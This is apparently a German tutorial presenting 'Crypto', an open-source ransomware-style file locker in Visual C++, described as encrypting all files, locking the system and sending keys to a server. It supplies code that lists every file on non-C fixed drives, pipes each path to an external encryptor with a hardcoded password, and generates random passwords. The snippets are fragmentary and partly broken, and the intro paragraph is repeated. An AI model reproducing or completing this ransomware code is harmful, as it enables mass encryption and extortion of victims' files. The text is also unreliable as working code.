
CryptoLocker ist ein Open-Source-Dateiverschlüsseler. Crypto wurde in Visual C++ entwickelt. Es verfügt über Funktionen zum Verschlüsseln aller Dateien, Sperren des Systems und Zurücksenden der Schlüssel an den Server. Die Multithread-Funktionalität hilft diesem Tool, die Verschlüsselung zu beschleunigen.
Crypto ist ein Open-Source-Crypto-Locker. Crypto wurde in Visual C++ entwickelt. Es verfügt über Funktionen zum Verschlüsseln aller Dateien, zum Sperren des Systems und zum Zurücksenden der Schlüssel an den Server. Die Multithread-Funktionalität macht die Verschlüsselung mit diesem Tool schneller.
Durch den Einsatz eines leistungsstarken 256-Bit-Verschlüsselungsalgorithmus ist eine Datei nach der Verschlüsselung ohne das Passwort völlig unbrauchbar. Sie kann einfach nicht gelesen werden.
Alle Dateien von allen Laufwerken abrufen, um sie zu verschlüsseln.
Hier ist ein Visual C++-Programm, das alle Verzeichnisse und Dateien auf einem Laufwerk auflistet und die Pfade für die spätere Verschlüsselung in einer Textdatei speichert. Ich verwende die Boost C++-Bibliotheken, um alle Dateilisten zu erhalten. Bitte installieren Sie zuerst die Boost-Bibliotheken, um das Programm zu kompilieren.
#include <boost/config/warning_disable.hpp>
#include <boost/filesystem.hpp>
#include <iostream>
#include <iterator>
#include <stdio.h>
#include <windows.h>
using namespace std;
fstream out_file("data.txt", ios::out);
#define MAX 256
int main(int argc, char* argv[]) {
int dr_type = 99;
char dr_avail[MAX];
char *temp = dr_avail;
/* 1st we fill the buffer */
GetLogicalDriveStrings(MAX, dr_avail);
while (*temp != NULL) { // Split the buffer by null
dr_type = GetDriveType(temp);
char skip[10] = "C:\\";
if (dr_type == 3 && temp[0] != 'C') {
boost::system::error_code dir_error;
for (boost::filesystem::recursive_directory_iterator end, dir(temp, dir_error); dir != end; dir.increment(dir_error)) {
if (dir_error.value()) {
cerr << "Error accessing file: " << dir_error.message() << endl;
}
else {
cout << dir->path() << endl;
out_file << dir->path() << "\n";
}
}
}
temp += lstrlen(temp) + 1;
}
out_file.close();
system("pause");
Hier lese ich zunächst jeden Dateipfad aus der Datei "data.txt" zeilenweise aus und sende ihn mit Verschlüsselungstyp und Passwort an dieses Verschlüsselungstool. Sie können dieses gesamte Programm auch in die obige Schleife einbetten, um Pfade rekursiv abzurufen und Daten zu verschlüsseln.
out_file.open("data.txt", ios::in);
string line;
while (out_file.good()) {
getline(out_file, line);
cout << line << endl;
std::string cmmd = "crpt.exe -e -p 4321 ";
cmmd += line;
system(cmmd.c_str());
}
Übergeben Sie die Länge an die Funktion, und sie gibt ein komplexes, langes, generiertes Passwort zurück, das Sie für die Verschlüsselung verwenden können.
string RandomString(int len)
{
srand(time(0));
string str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
string newstr;
int pos;
while (newstr.size() != len) {
pos = ((rand() % (str.size() - 1)));
newstr += str.substr(pos, 1);
}
return newstr;
}